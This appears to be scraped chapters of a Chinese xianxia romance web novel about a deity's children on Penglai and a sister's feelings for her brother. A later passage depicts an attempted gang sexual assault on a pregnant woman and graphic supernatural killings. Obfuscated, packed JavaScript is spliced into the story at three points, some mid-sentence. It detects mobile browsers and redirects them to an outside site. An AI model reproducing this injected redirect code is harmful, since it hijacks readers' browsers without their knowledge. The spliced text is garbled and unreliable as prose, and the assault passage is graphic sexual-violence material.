贸然要回孩子是不可能了,见机行事,看看能不能做个交易把孩子要回来。 “所以得去看看啊,从不让吾省心,好不容易看着要抱孙子了,给吾来这一出……还有你。” 方大仙充满怒气的目光转向东婝,拿出做爹的架势。 “现在立刻去霜洲地界,好好道歉,真情实意地道歉。下月天君举办宴席,你们两人必须一起出现,别再给吾找事了。” “不去,看着烦。” 东婝说什么都不想见到那张唯唯诺诺的脸。 “不去你也滚出蓬莱!” 一阵狂风卷起,夹杂着冰碴,东婝瞬间被吹得东倒西歪,难以置信泪眼婆娑地望着她爹。 摄魂天女东婝元君,一天之内又是被揍又是被骂。 “爹你不爱我了吗……” 方大仙面无表情,“你去了吾就爱你。” 东婝委屈极了,哇的一声哭出来。 “唔——那我走了。” 仙鹤“嘎”地一声惨叫,羽毛乱飞,架着东婝朝霜洲地界的方向飞去。 西雨:“……这还是我那摄魂天女的二姐吗。” 方大仙:“你也好不到哪儿去。” 想起什么,方大仙又无奈叹息。 “都是吾的错,吾不应怪你。” 若问方大仙对四个孩子心怀歉疚最深的是谁,那必定是西雨。 南风出生后不久,桑竹仙子重病。自知大限将至的仙子强撑病体,在水镜前窥尽四个孩子的命运轨迹方才阖目长逝。 预言昭示,南风此生将历两重情劫,一劫夺命,一劫续命。 桑竹仙子疼爱孩子,临终前殷殷嘱托方大仙,务必找到三千年后,那个可以拯救南风的孩子。可在这漫长的三千年间,南风又该如何自保? 不懂育娃的方大仙想出了一个“万全之法”——禁足。在三千年后那孩子出现之前,不许南风离开蓬莱仙岛。 彼时刚满两千岁的西雨望着襁褓中的妹妹,向爹爹请命。 “西雨可以陪南风一直在蓬莱仙岛,哪里都不去。” 幼时的南风生得玉雪可爱,仙岛众仙总爱逗弄她。 指着北雷问,这是谁? 南风说,是哥哥。 众仙好奇,又指着西雨问,那这是谁? 南风说,是西雨。 南风从不唤西雨作哥哥,尽管这位三哥年长她两千岁。在南风心里,西雨既是兄长,更是形影不离的知己。蓬莱三千载寒暑,除了海面升起的明灯,凡间向神灵许下祈愿,唯有西雨始终相伴。 那么于西雨而言呢? 是妹妹吗?或许是。但他心底更盼着,她不是妹妹。 至少,不要是血脉相连的妹妹。 【逆梦归尘】 我提着裙角疾步穿过竹林时,豆大的雨点已经砸在青翠的竹叶上。 待躲进凉亭,半幅衣袖早已洇湿,凉丝丝贴在腕间。 “啊切——” 鼻子痒痒的,不会感冒了吧…… 正低头拧着袖口的水,忽听得池塘另一畔传来脚步声。 “大半夜不睡觉,又去竹林?” 西雨自小生得极是秀气,眉目如画,肤白似玉。 秀气的声音,秀气的长相,做些事情倒一点不秀气。偏生那张嘴跟在天工院淬了毒似的,老说些骇人听闻的话。 对人对神,西雨始终一副面孔,一个性子,那就是随便,永远是一副懒洋洋的模样。 南风除外。 “西雨?你不也醒着。” “我是听见有老鼠的动静,出来捉鼠归案。” “说谁老鼠呢!坏西雨……” “要唱起来了吗?你自编自创的曲子?” “哼,我可不想把爹爹吵醒。” 我往亭柱旁让了让,西雨收起伞,立于身侧与我一同观雨。 “你说,三千年有多长?一千年后,预言里的人,真的会出现吗?他出现了,我怎么知道他是谁?” “你该不会是想向娘亲求证答案,下着大雨也去竹林吧?” “我去的时候还没下雨呢。” 西雨,抬眸看向前方。 “三千年多长我不知道,但我知道两千年是何其漫长。” 言辞间,我听出了他此番话背后的含义,笑问:“是指没有我的两千年吗?” 西雨侧目看我一眼,浅浅“嗯”了声。 “啊切——我不会生病吧?” 我揉着略微堵塞的鼻子,眼睛里似乎有水汽氤氲。 “没见过神仙淋雨染上风寒的。你的仙术呢?又忘了?” “嗯……还没学会呢。” “做什么神仙,你要不去山野乡村做个野人吧。野人不怕生病,整日待在竹林,正好适合你。” 他忽然解了外袍。鸦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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数万个日夜,只有蓬莱与漫无边际的海岸线。 “最近不知为何,心底生出些奇怪的感觉。尤其是你……触碰我的时候。” “有多奇怪?” “不知道,麻酥酥的,心痒痒的。” “……” 他沉静片刻,只看着我。我看见西雨脸上的表情变得严肃,不禁后怕。 “我不是的什么病了吧!我明日去找医仙替我看看!” “是病,也非病。此症恐怕看医仙不得解,枕书君或许能知一二。” “云枕书?你是指,从书中寻找治法吗?” 在一一道出我的病症后,云枕书掩唇笑道:“南风并非病了,是长大了。” “你说点我听得懂的……” 云枕书替我倒了杯茶,缓缓开口:“此症状可是对所有人都一样?” “那倒没有。哥哥碰我时没事,二姐碰我也没事。”我停下手,一把抓起云枕书的手,“你也没事。” 云枕书大笑着收回手,说道:“若只对一人,便好解释了。南风是不是喜欢那人?” “啊?喜欢是干什么的东西?” “原来要从这里开始解释啊……当你二人单独相处时,眼神会不自觉飘向那人,与他四目相对时,心悸悦动,喉咙发干,掌心冒汗。他对你一颦一笑间,身后都会凭空出现不存在的清风与明月,化作世间最美的画卷……” 两个人陷入沉思。 半知半解的南风率先从想象中脱离出来,歪头打量起面前泛起柔色的云枕书。 “这就是思念欢喜之人的样子吗?” “我吗?” “枕书君刚才想到谁了?” “没、没谁。” 他别过脸去,后颈碎发间露出的皮肤却已经红了一片。 临走前,云枕书给了我一本记载伏羲和女娲造人故事的话本,说是让我先学习学习人神的开始。 我抱着云枕书给的《伏羲女娲传》往回走,边走边翻。画上蛇尾交缠的图案看得我耳根发热,却仍一知半解。 想去凉亭专心钻研,正好撞见从天宫院回来的北雷,坐在凉亭喝茶。 “哥哥!” “南风回来了。” 我小跑着冲进凉亭,他伸手替我拂开黏在颊边的碎发,指尖带着茶香的暖意。 “嗯!去和枕书君聊了几句。” 我把话本啪地合上塞进袖袋,突然凑近石桌,“对了哥哥!我好像有喜欢的人了!” 北雷刚喝下的茶汤差点喷出来,他猛地放下茶盏,瓷底在石桌上磕出清脆的响声。 “你、你说什么?!” “我说,我好像有喜欢的人了。” “谁!报上名来!哥哥去——” 北雷霍然起身,右手已经按在了剑柄上。我赶忙拉住他,按住他欲要拔尖大杀四方的手。 “哥哥要去打架吗?” 我歪头看他绷紧的下颌线,北雷暂且收起怒气,强作镇定地坐回去。 “咳咳,不是打架,哥哥只是替你把把关,怕你被骗。” 我放些心,晃动着双腿说:“不用不用,哥哥也认识的。虽然我还不知道情情爱爱具体是个什么,不过按照枕书君的描述,那确实是喜欢了。好像叫什么……男女情爱!” 北雷的表情忽然柔软下来,他伸手揉了揉我的发顶,像小时候哄我睡觉时那样。但声音是咬紧牙发出的,笑眼藏不住杀意。 “南风长大了。告诉哥哥,那人是谁啊?” “是西雨。” “……” 46. 辞风别雨 “哥哥,这是什么?” 我瞪大眼睛看着北雷指挥仙侍们抬进整整十只木箱,满满当当摆在我的房内。 北雷抱着双臂说:“人界的禁——咳,好看的书。” 一听,我顿时来了兴趣。 “真的吗!这么多!这得有几百上千本了吧!” “嗯,慢慢看,看完你……应该能明白吧。” “明白什么?” 北雷心一横,突然按住我的肩膀,严肃道:“听好,南风。西雨也是哥哥,和哥哥一样,是哥哥!虽然你不叫他哥哥,但他也是哥哥!” 哥哥到底在说什么呢? 我眨了眨眼,茫然笑道:“我知道啊,西雨是三哥,哥哥是大哥,二姐是二姐。” “没错,我们是一家人,对不对?” “对,我们是一家人!” 哥哥蹲下来仰视我,欣慰地摸了摸我的头。 “乖,记住这一点就好。” 我:“???” 我和西雨每日会去凉亭打发时间,阅读品茗下棋,三千年岁月,总得找些事儿做。 不过书看不进去,棋艺不长进,茶倒是喝了不少。 “昨天,哥哥拉着我说了好多奇怪的话。” 我托腮看着池里的莲花,没注意到西雨突然绷紧的指节。 他从书上挪开视线问道:“大哥说什么?” “他说你是哥哥,和他一样是哥哥。奇奇怪怪的……” 心里一咯噔,西雨忽地合上书。 “你跟大哥说什么了?不会又说我什么坏话吧?” 我撇撇嘴耸耸肩,说:“我又不是你。我只是跟他说我好像喜欢你,他又是从人界给我带书,又是跟我讲道理的,话好多。” 西雨满眼懵懂地看着我,几经欲言又止。 “你说什么?你刚才说……你跟大哥……你说……说什么?” “怎么连你也结巴了?我说,我好像喜欢上你了。” 他一怔,脸上笑意消失,露出被天雷劈中的表情。 我慌忙找补解释:“只是好像!因为症状和枕书君跟我描述的一模一样,眼睛不自觉地看向某一处,脸颊毫无征兆发烫,和别人触碰都安然无恙,偏偏你——” 突然,西雨的手覆上我的手背。 “这样?” “……嗯,大概……” 冷风拂过,裹挟着竹香。长廊外不远处,我瞥见一抹熟悉的紫色。 “啊,是二姐。” 西雨像被烫到般猛地抽回手。他起身时掀翻了茶盏,深色茶汤在石桌上蜿蜒成溪。 “我们去哪儿?” 西雨拉着我的手向竹林深处走去,他眉头紧锁着,走得极快。 走远了些,西雨停下脚步,折下地上的一朵白色小花。 “你刚才说的,当真?” “我、我说了什么吗……” 不安的脸转向我,白色的花瓣随着他一字一顿的话点上我的。 “眼睛。” 我下意识闭了闭眼。 “脸颊。” 娇嫩的花瓣轻轻拍打脸颊。 “触摸。” 白色小花被他丢弃,换做指尖点了点我的手背。 我羞红了脸,低下头将手背至身后。 “你、你别明知还……” 许久,无人说话。 我抬头,看向竟面露错愕的西雨。 他后退时撞上一丛翠竹,震落无数晨露。 “西雨?” 他继续后退,眼神里的不安更甚。 “你怎么了?” 我上前一步,他便后退两步。 “我忽然想起找大哥有事,你……”西雨差点语无伦次。 我想是因为急事,所以他面色难看,点头道:“嗯,你去吧,我在竹林待会儿就回去。” “……好。” 离开的背影匆忙,似要快点离开。 我一面祈祷他不会被大哥责骂,一边望向头顶密布的竹叶。 “常人的七情六欲好像跟我想得不太一样呢……” 西雨拖着沉重的步子穿过回廊,院内青石板上映着他摇晃的影子。 推开南院木门的瞬间,一支柳条挟着破空声迎面抽来,差点在他颈侧留下一道红痕。 “西雨!过来挨打!” 椅子上怒气正盛之人,忽地拔出花瓶里的柳枝,朝刚走进来的西雨大吼。 “大哥,二姐。” 秀气的声音听上去没精打采,北雷以为西雨不知有错,更气愤,只想冲上去暴揍弟弟一顿。东婝赶忙拦住北雷,蹙紧眉头望向跪地之人。 “南风该不会……跟你坦白了?” “嗯。” 从元君手心滑落的茶盏,在地上碎裂的声音清晰刺耳。 西雨盯着地上茶水的倒影,看见自己扭曲的面容,眸光暗淡。 “西雨全听大哥和二姐的安排。要我怎么做?” 竹影摇曳的回廊下,西雨的背影像一抹淡墨勾勒的剪影。 我提着裙摆跑过去,边跑边叫他。 “西雨!” 他肩头几不可察地颤了颤,却没回头:“没大没小。” “欸?我没听清……” 脚步顿住,我几次以为自己听错了。 西雨转身就走,我小步跟在他身后。 “我说你没大没小,我好歹也是哥哥,你至少加个哥哥在后面吧。” “你今天怎么了?是不是哪里不舒服?” 我歪头看他绷紧的侧脸,小心翼翼想触摸他垂在身侧的手,却被西雨毫不留情地躲开。 甩开的手不小心撞上回廊的梁柱,苍白的皮肤立刻泛起红痕,他却像感觉不到疼似的。 “我没事。” 晨露从竹叶尖坠落,在我们之间划出透明的界限。 我捏紧自己的袖口,“你希望我叫你西雨……哥哥吗?” 连你也要与我拉开界限,成为一个只有家人的“孤家寡人”吗? “三哥也行。” 我低下头,咬着唇委屈道:“可我都这么叫你两千多年,突然改口……我不太习惯。” 西雨的叹息轻得像是错觉。他停下脚步,抬手似乎想碰我发顶,却在半空硬生生转道拂去肩头并不存在的尘埃。 “称呼就算了。以后,你不能再动不动就碰我,知道吗?” “为什么?” “大哥的书,人界的禁书,你不是看了?” “我是看了,但看不明白。感觉很激烈,但我想象不出让他们在干吗。光有文字,都没点绘画。” “……” 东婝手中的茶盏"咔"地裂开一道细纹。 “小妹当真这么说?” 北雷摸着下巴思索片刻道:“要不给她看看实际男女交欢是个什么样子?” 东婝猛地拍案而起:“喂!你疯魔了吗!说什么蠢话!” 北雷不以为意地耸肩:“南风多大的孩子了,迟早要知道的。这样吧,你去找个男仙,实际演示一下,我们带南风躲在暗处观摩。我看枕书君就——” 话音未落,东婝的羽带已如灵蛇般缠上北雷的脖颈。紫光闪过,北雷高大的身躯"砰"地栽倒在地,扬起一片尘埃。 北雷,晕。 “留你一丝情面,没给你活活打死!再说疯话,我给你丢去海里喂鱼!” 教训完北雷,东婝气呼呼地转身居高临下望着呆坐在椅子上喝茶的弟弟。 懵然的少年捧着早已凉透的茶,水面倒映着他失焦的瞳孔。 “西雨。你还是继续疏离南风,只有五百年了,那命定的孩子就快出现,到那时,南风会明白的。” “嗯。” “南风误入歧途也就罢了,你可不能错了。” 西雨沉下眸子,转瞬失落消失,抬眸露出个空洞的笑。 “我知道。” 又是一日,我小跑着奔向凉亭内的西雨。 “西雨!” 话一出口,又想起前些日子他的警告。收起激动,双手抱在腹前。 “三……哥。” 西雨欣慰地点头,埋头看手里的书。 “找我何事?” “没事不能找你吗?” “不能。我有正事要做。” 我悄悄挪近半步,凑到他身边。 “什么正事?我和你一起看看?这……这是什么?” “人界的春宫图。” “你去人界了?” 西雨无奈地闭了闭眼。这孩子的注意力总是容易跑偏。 “大哥房里找出来的。想仔细看看吗?” “可以吗!” 他忽然将书推过来,我迫不及待地挨着他坐下。 画面上交织的躯体让我困惑。 “他们在做什么啊?” “交欢。” “交欢是什么?” “……他们在做的事情。” “他们为什么要这么做?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056759|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西雨的喉结剧烈滚动,半晌说不出话。 “因为他们互生情爱,为了将爱意延续下去,为此交欢,繁衍后代。” 二姐不知从哪里冒出来,代替西雨解释。 我歪了歪头,问:“繁衍后代?就像爹爹和娘亲生下我们吗?” 二姐走到我和西雨中间,生生将西雨挤出去,坐在我们中间。 “是的。但,交欢有一条禁令。这个人,他不能是你的哥哥。简而言之,不能对自己的哥哥产生男女情爱,不能喜欢你的哥哥。” 她一字一顿地说,每个字都像钉入木板的钉子,向我发出警告。 我越过二姐的身影,偷偷看向被她挡去一半的人。 “可是伏羲和女娲——” “那是上古神。你呢?你是个连基本法术都不会的小仙。” 二姐的话道破了真相。 眼底的水雾越来越重,二姐脸上的神情也从平静到错愕到无奈。她上前抱住我,抚摸我的发顶。 “二姐不怪你,这不是你的错。要怪……就怪那个三千年才出现的人!早一点出现要死啊!出生那么晚干嘛!等他出现了狠狠教训他一顿!拿他的身体做画纸,用笔在他身上作画!” 我被她夸张的语气和动作逗笑,二姐心疼地擦去我脸颊上的泪痕,露出释然的笑意,揉捏我的脸。 “唉,我的南风真的长大了呢。” 室内静谧。 北雷正擦拭自己的佩剑,西雨坐在窗台边摩挲手中的檀木匣,东婝握紧手中的浅蓝色羽带缓缓开口。 “我猜是这两千年多,南风身边只有西雨陪着,产生了错觉。我建议她离开蓬莱,去接触一些……凡人,板正她的思想。你那些书,多给南风看点。看点厉害的,小情小爱、清汤寡水的就不要给她了。” 北雷顿了一下,继续擦拭问道:“爹爹会同意吗?” 东婝绕过案台,夺过西雨手中的檀木匣,取出藏于匣内一枝杏花。 羽带缠上杏花的枝干,东婝将其置于案台上,指甲凝起紫色光芒。 须臾间,杏花变为适合南风身材,人界赵国女子的衣裳。 “我们不告诉他,暗地里保护南风不就行了。” 北雷微微点头答:“就这么办。” 天工院造出的神器各式各样。 随着一道金光,北雷展开天工院打造出可帮助搜寻凡人的搜寻卷轴。 绢布上浮现出无数凡人男子的影像,或书生或将军或官人。 东婝指尖划过一个个凡间男子肖像说道:“南风指不定喜欢弱柳扶风、秀气至极的男子,找个文弱书生如何?” 北雷:“范围太大,再加条件。” 东婝:“专情吧,可不能欺负我们家小妹。” 北雷:“对。再来。” 西雨:“会作诗。” 东婝:“作诗?小妹喜欢文学家?” 西雨:“还有竹,何不找个名字里带有竹字的?” 东婝:“对啊!这不就把范围缩小了嘛。大哥看看,人界有符合所有条件的吗?” 北雷:“居然还真有……光州,竹村,姓名……有了!” 东婝凑近细看卷轴上显现的名字,念出二字: “闻笙。” 换上二姐替我准备的凡间女子衣裳,我出门寻找那抹瘦弱的身影。 寻遍各处院子,都不见他。 他去哪儿了?会不会在竹林? 拨开垂吊下来的竹,我看到了隐匿于林间,坐于岩石上的人。 细碎的阳光透过竹叶,在他仰起的脸上投下斑驳的光影。一袭青衣,几乎与竹林融为一体。 “西雨……三哥。” 我轻声唤他,他转过头,清秀的脸上浮现出温和的笑意。 “我要去人界看看,来跟你道别。” “一切小心。不要被人骗了,还替人说好话。” “我又不是傻子。倒是你,终于不用在蓬莱第几宫陪着我,可有什么想去的地方?” 我踢开脚边的小石子,在他身边坐下。 “没有。” 他垂下眼睛,长睫在眼下投下一片阴影。 “没有?你都不想去大千世界走走看看?” “没有。” 我忽地倾身,隔着较远的距离盯着他看。 “那你怎么露出一副落寞的表情?” 西雨忽然抬眼看我,漆黑的眸子里映着细碎的阳光。 “因为……若你不在,日子缓慢,会无聊。” 47. 安桥宁夜 【又见东风】 马车缓缓驶出城门,车轮碾过青石板路,发出沉闷的滚动声。 我掀开车帘,回头望了一眼。 晨光熹微,金色的阳光铺洒在信州府门前的薄薄金辉,与成亲那日一模一样。 明亮而温暖,像是从记忆深处照来。 不过少了荼蘼花香,少了热闹喜庆,也少了欢声笑语。 取而代之的是一片冷清的寂静,只有风轻轻拂过,卷起几片落叶,最终无声地落在地上。 远处隐约传来几声凝噎的抽泣和低语,一阵清风恰遇,鼓起颜卿月白色的衣衫,显得日下的他如寂寞寒霜,让我有种他下一瞬会消失的错觉。 我放下车帘,靠在车厢内,手指无意识地抚上小腹。 那里,小小的生命正悄然生长。 最终,我还是没能告诉颜卿我有身孕一事。 起初是因为不确定,不敢告诉他;如今却是怕他对我抱有更深的牵挂,怕他宁愿舍弃一生的抱负,也要护我平安。 我不想他为我做到这地步。他为我做的,已经太多了。 远处的山峦在晨雾中若隐若现,风从车窗外吹进来,凉意拂过我的脸颊。 我伸手摸了摸脸,指尖触到一片湿润。 不知何时,泪水悄然滑落。 怀中的玉笛原本静静的,似是感知到的情绪后,一缕清越的笛音从笛身中流淌而出,悠扬婉转。 这是神器第一次回应我。 我默默取下头上的白梅步摇,无力地护在心口。 原来,这才是真正的神器啊…… “玉笛啊,这支曲子,叫什么名字?” 我明知一支笛子不会讲话,还是自言自语问道。 玉笛不语,却有意识闯入我的识海。 “天上月?原来叫天上月啊。” 不知过了多久,笛音渐渐消散,天地间重归沉寂。 从信州府出发,马车颠簸了整整两个月,终于抵达了定边军的驻地。 西北的荒漠黄沙漫天,狂风卷起沙砾打在脸上生疼。 再往前几百里就是东凉,远处的山峦像被剥去所有生机,只剩下苍凉轮廓。 军营坐落在荒芜中,简陋的帐篷零星散布,几面饱经风霜的旗帜在风中无力摇曳。 吴盼秩领着我走进军营。 营地里弥漫着一股混合着汗臭、铁锈和尘土的气息,角落里堆满了喝光的酒坛子,残余的酒香混在一起令人窒息。 士兵们三三两两地聚在一起,擦拭兵器,窃窃私语不断,目光时不时地朝我这边瞟来。 那是一种复杂的、难以言喻的表情,像是压抑已久的某种情绪在蠢蠢欲动。 我下意识地低下头,不敢与他们对视。吴盼秩全然一副熟视无睹的样子,大步走在前面。 “因为你是女人。日后,好自为之。” 我瞬间明白了他的意思。 驻守边疆,黄沙作伴,这里的将士们已数年没有归家。而我,一个突然出现在军营中的女人,对他们来说,或许就像是一块许久未见的肥肉,充满了诱惑。 吴盼秩径直领我去了医帐。简陋的营帐,门口挂着一块破旧的木牌,上面歪歪扭扭地写着“医”字。 掀开帐帘之前,我心里有些忐忑。吴盼秩说军营里只有一位医师,名叫宁安桥,日后我就在他手下做事。 我不太擅长和中年男人打交道。 我猜,宁安桥应该是个四十多岁的中年男子,如果像李叔那样性情温和,总是笑眯眯的,懂得如何让我适应新环境,还说得过去。可当我走进医帐时,眼前的景象却让我愣住了。 “宁医师,你要的助手,给你找来了。” 宁安桥居然……只是个二十几岁的年轻人?!话说这体型真的不是带兵打仗的? 身高八尺魁梧健壮的男人穿着一身素净的灰布长衫,正低头整理着药箱,动作娴熟而专注。 听到动静,他抬起头来,露出一张生人勿进的面容。 他目光冷淡,甚至没有多看吴盼秩一眼,只是淡淡地扫过我,又继续低头整理药材。 “这位就是宁安桥,军营里唯一的医师。”吴盼秩简短地向我介绍。 宁安桥没有应声,甚至头都没抬。 吴盼秩似乎早习惯了他这副目中无人的态度,也不多言,说要去和大将军贺将军打声招呼后,转身离开了。 帐帘落下的一瞬间,到外面的风沙似乎也被隔绝在外,只剩下药草的气息和宁安桥冷峻的侧脸。 “你叫什么名字?” 我心里紧张,说话一时结巴,“我、我……叫出、楚风。” 宁安桥闻言冷哼一声,对上我的视线:“楚风?我还以为叫‘抽风’呢。” 换做是旁人,我或许会以为这是在开玩笑,可宁安桥那张冷脸说出这句话,一点都不觉得好笑,只觉得恐怖。 这张冷脸一定是生来如此,对谁都一副爱答不理的样子,哪怕是吴盼秩这种朝中重臣的身份,他也不放在眼里。 这样一个人,在他手下做事,不就纯粹找罪受吗! 宁安桥问道:“你会什么?” 我犹豫了一下,“我认得些草药……” 他不耐烦地“啧”了一声,低声骂了一句“有什么用。” 他以为我没听到,可那声音清清楚楚地传进了我的耳朵。 我抬起头,一脸疑惑地看着他,他却只是冷冷地扫了我一眼,随手从桌上抓起一根石杵,塞到我手里,指了指角落里堆成小山的草药。 “今天之内把这些草药处理完,整理归纳完才准休息。” 我默默看向角落的药草,堆得像座小山,光看着就让人头皮发麻。可我不敢反驳,只默默走到角落,蹲下身开始研磨。 帐内一时安静得只剩下他整理药材的窸窣声和我手中石杵与药臼碰撞的沉闷声响。 忽然,我想起吴盼秩还没给我安排住处,犹豫了片刻,鼓起勇气问宁安桥。 “宁医师,我……以后住哪儿?” 他又是不耐烦的样子,嫌我聒噪,冷冷地瞥了我一眼,随即转过身去继续忙手里的事。过了好一会儿,他才头也不回地丢出一句:“你就在这儿睡。” 我下意识环顾四周。除了几张摆放药材的木架和一张破旧的桌案,角落里确实有一张勉强能称之为床榻的东西。 可那床榻上铺着的草席已经发黑,灰尘厚厚积在表面,边缘还沾着些暗褐色的污渍。 我眯起眼睛细细观察,心里猛地一咯噔—— 那污渍分明是干涸的血迹! 我喉咙发紧,弱弱又问了句:“还有别处的住处吗?” 要我在那么恶心的榻上睡觉,我还不如卷着铺盖睡地上,外面的沙地都比这强。 但是,为了腹中的孩子,我只好硬着头皮继续争取。 “没有。” 他语气干脆利落,毫无商量的余地。我张了张嘴,还想再说什么,可看到他那张骇人的脸,终究还是把话咽了回去。 石杵在药臼中来回碾磨,我偷偷抬眼看了看那张床榻,又泛起恶心。要我在这张床上安眠?是安息吧! “宁医师之前也住这里吗?” “这么脏,我可不住这儿。” “……” 所以这么脏,我就得住这儿吗?! 乌月高悬,帐外的风沙声愈发清晰。 我揉了揉酸胀的手腕,看着角落里那堆还未研磨完的草药,心里一阵无力。 颠簸了两个月还没来得及喘口气,又累到现在。想到腹中的孩子,我决定今晚先休息。 被骂了再说,眼下无论如何得先把睡觉的地方收拾出来。 我走到那张沾着血迹的床榻边,暗褐色的污渍像是无声的警告。有魔音贯耳,不断提醒我这上面发生过什么。 实在下不了决心直接躺上去,环顾四周,试图找些东西来垫一垫。 可医帐内除了药材和器具,什么都没有。我翻了个遍,甚至连块干净的布都找不到。 天无绝人之路,总有办法。我决定去后勤处看看,或许能找到些剩余的被子或草席。 我掀开帐帘,风沙扑面而来,呛得我咳嗽几声。 夜色沉沉,军营里只有零星的篝火在风中摇曳,映照出守夜士兵模糊的身影。 我紧了紧衣襟,低着头快步朝后勤处的方向走去。 我想起吴盼秩给我指过,好像在西北角……夜幕下的军营只有几处篝火照亮,勉强能看清脚下的路,不至于踩到什么不该踩到的东西。 突然袭来的几只飞蛾吓得我心惶惶的,遁入远处的黑暗,和着传来的狼嚎消失得无影无踪。 令人头皮发麻的恐惧,我深呼吸镇定写后加快了脚步。 可刚走出没多远,就感觉到有几道目光从身后的暗处落在了我身上。 我还没来得及诧异,就听到身后传来一阵低沉的脚步声。 抢在我回头查看之前,一只粗糙的手突然从背后伸过来,死死捂住了我的口鼻。 我惊恐地拼了命挣扎,可对方的力气极大,我根本挣脱不开。 黑暗中钻出的人将我围住,一只手箍住了我的腰,将我整个人拖向一旁。 “唔——!” 我拼命想喊,可声音被堵在喉咙里,只能发出微弱的呜咽。 手脚胡乱踢打,可对方似乎早有准备,三两下就将我制服。 我被拖进了一处昏暗的角落,四周堆满了废弃的木箱和杂物,远处篝火的光亮几乎照不到这里。 “嘘——别乱动。” 一个低沉的声音在我耳边响起,带着戏谑和贪婪。 我吓得浑身发抖,感觉到有几双手在我身上胡乱摸索,粗重的呼吸声混杂着低笑,像是饿狼围住了猎物。 “放开我!” 我好不容易挣开一点缝隙,刚喊出声,嘴又被死死捂住。 恐惧像潮水一样涌上来,我拼命挣扎,可对方的力气太大,我根本无力反抗。 小腹隐隐作痛,双手被人禁锢,胡乱蹬踢的脚也被两只看不见的手死死抓紧,力气之大,我根本没有办法。任凭我怎么踢打、撕咬,都无济于事。 “女医师身上还挺有肉。肚子圆鼓鼓的——” 面前的人□□着恶心的嘴唇擦过我微微隆起的肚皮。 “不许碰我肚子!” 恶心的手掌下,我的声音传不出一点。我咽下滑至唇边的眼泪,黑暗中,我只能看到他们模糊的身影和发亮的眼睛,像是野兽盯着猎物。 喉咙被掐得生疼,呼吸越来越困难,眼前一阵阵发黑。 耳边是他们低沉的狞笑和粗重的喘息,混杂着风沙的呼啸声,像是从地府深处传来的回响。 “求求你们……放过我……” 艰难地从喉咙里挤出几个字,可他们根本不在乎,反而笑得更加猖狂。 没有人会来救我,这里是军营,是荒漠,里外都是饿狼的地盘。 手指无力地搭在小腹上,我连自己都保护不了,又怎么保护他? 绝望像是一张无形的网,将我紧紧裹住,越收越紧,直到我喘不过气来。 无尽黑暗的深渊,绝望吞噬一切,意识开始模糊。 就在这时,一缕清冷的笛声忽然划破了夜空。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056760|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那笛声悠远而空灵,像是从遥远的天际传来。曲调婉转,带着几分熟悉的哀伤。 我猛地睁开眼,恍惚间仿佛看到了熟悉的身影。可那身影转瞬即逝,只剩下笛声在耳边回荡。 ……我好想你啊…… 我咬紧嘴唇,咽下到嘴边的名字。 是这样的吧,人在将死之时,会开始忏悔、怀念、想起一些重要的事情。 我比较特殊吧。重生是重生了,可肉身不变,骨子不变,只是忘了事,忘了原本的性格,一些潜藏在深处的东西是不会变的。别人多情可能是痴情,钟情于一人,我就好了,是好些人。 颜卿的脸、柳砚清的声音。 无奈,只有无奈,真是夫复何言!想也罢,不想也罢,终归是在劫难逃。 所以,拿着我发簪的那个人到底是谁? 笛声空鸣,似是深空而来。越来越近。 不是我的幻听吗? 我下意识想到留在药房的玉笛,会是它发出的声音吗?几个士兵显然也听到了笛声,动作忽然停了下来。 他们面面相觑,脸上露出一丝慌乱。 “谁在那儿?!” 其中一人低声喝道,神色不安。 笛声依旧在继续,曲调渐渐变得急促,像是狂风骤雨般席卷而来。 那几个士兵显然被这突如其来的笛声吓到了,手忙脚乱地提起裤子,四处张望。 “不会是鬼吧……”另一个人低声嘟囔,眼神慌乱。 紧抓住我手臂的一人听他们如此说,免不了急躁起来:“别乱讲话!真有鬼,就先吃你!” “快走!被大将军发现就完了!”为首的那人低声吼道,提起裤子转身就要跑。 可就在他们转身的瞬间,笛声骤然一停。 空气中仿佛有什么东西猛地绷紧,领头跑在前的人神情一滞,很快失去了意识。 五个人相继像被什么定住一般停在原地,手脚无法动弹,只有额头上的汗珠止不住的下流。 几乎是刹那,一根金弦从黑暗中擦着我的眼前飞了过去,缠绕上五个人的脖颈。 “这!这是什么!” 我捂住嘴惊呼。 接着,诡异的一幕让我差点吐出来。 随着笛声再次吹响,从金弦中开始蔓延出无数的小黑虫,沿着五个人的身体开始攀爬,直至布满全身。 虫足攀爬的声音、渗人的笛声、五个人嘴里勉强发出痛苦的呻吟,这些声音透着恐惧、悲痛、悔恨,仅仅只是听到都掀起一阵颤栗。 我还没来得及惊呼,千万只黑虫从头开始钻进五人的体内,仿佛刚才看到的是幻觉,稍纵即逝。 “虫呢?” 黑暗中仿佛匿伏了一只骇人的怪兽,五个人也很纳闷,身体无法动弹,只能看眼珠子尽力向下看。 紧接着,几声闷响传来,像是利刃刺穿血肉的声音。 我瞪大了眼睛,看着那几个士兵的身体猛地一僵,随即七窍流血,脸上的表情扭曲得可怕。 他们的眼睛、鼻子、耳朵里涌出大量的鲜血,像是被什么东西从内部撕裂开来。 “啊——!” 其中一人发出凄厉的惨叫,旋即重重地倒在地上,身体抽搐了几下,再也不动弹。另外几人也接连倒下,五个人以相同的死状倒在我面前,极其恐怖。 笛声尚未歇止。 